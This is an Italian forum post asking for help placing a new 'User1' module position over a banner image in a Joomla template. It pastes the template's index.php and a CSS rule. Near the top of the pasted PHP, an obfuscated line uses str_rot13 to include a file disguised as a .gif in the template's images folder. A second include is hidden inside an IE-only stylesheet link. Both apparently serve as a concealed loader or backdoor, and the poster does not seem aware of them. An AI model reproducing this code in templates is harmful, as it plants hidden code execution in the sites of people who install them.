Ciao!! Tony Copy grazie come al tuo solito sei pronto sempre con le tue magnifiche risposte.
[Ottimo] sono risciuto dal codice ad inserire la nuova posizione desiderata.
Ora il problema e come mettere quella posizione al posto delle foto cheers.
Allora quella foto alloggia nella clas Div "banner" dove mi ritrovo il percorso dell'immagine.
Ti cito qui le cose che ho fatto codice php del file index.php del template:
<?php
// No direct access.
defined('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework', true);
// get params
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
$templateparams = $app->getTemplate(true)->params;
$showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
$showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
$showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
($this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse = false : $showNoneElse = true;
if (!$showRight and !$showLeft) $showNone = false;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up">[/url]
<div id="main_bg" class="banner1">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?>[/url]
<?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?>
<br clear="all" />
<div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div>
<div class="User1"><div class="bannertext"><?php echo $this->params->get('bannertext'); ?></div></div>
</div>
<?php if($showLeft) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" />
<jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " />
<jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2" id="3" />
</div>
<?php endif; ?>
<?php if($showLeft xor $showRight) $maincol_sufix = '_middle';
elseif($showNone)$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="position-2" /></div>
<?php if ($this->countModules('position-12')): ?>
<div id="top"><jdoc:include type="modules" name="position-12" /></div>
<?php endif; ?>
<?php if ($this->getBuffer('message')) : ?>
<div class="error">
<h2><?php echo JText::_('JNOTICE'); ?></h2>
<jdoc:include type="message" />
</div>
<?php endif; ?><?php /*Aggiungo la nuova posizione modulo */?>
<?php if ($this->countModules('User1')) : ?>
<div id="nuovo_div">
<jdoc:include type="modules" name="User1" style="xhtml" />
</div>
<?php endif; ?>
<?php /*Fine aggiunta nuova posizione modulo*/?>
<jdoc:include type="component" />
</div>
<?php if($showRight) : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/>
<jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3" />
<jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3" />
</div>
<?php endif; ?>
<br clear="all" />
</div>
<div id="f_area">
<div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div>
<div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div>
<div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div>
<br clear="all" />
</div>
<p id="power_by" align="center">
<?php echo JText_('Borgo Borghese © Copyright 2011 By Web Master: Tué') ?>[/url].
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Div classe del percorso dell'immagine:
div.banner { background: url("../images/banner.jpg") no-repeat scroll 0 0 transparent; height: 200px; margin: 15px auto 0; padding-top: 30px; width: 940px;}
Avevo pensato di mettere al posto dell' percorso dell'immagine il nome "User1" per mettere lo slide sulla mia posizione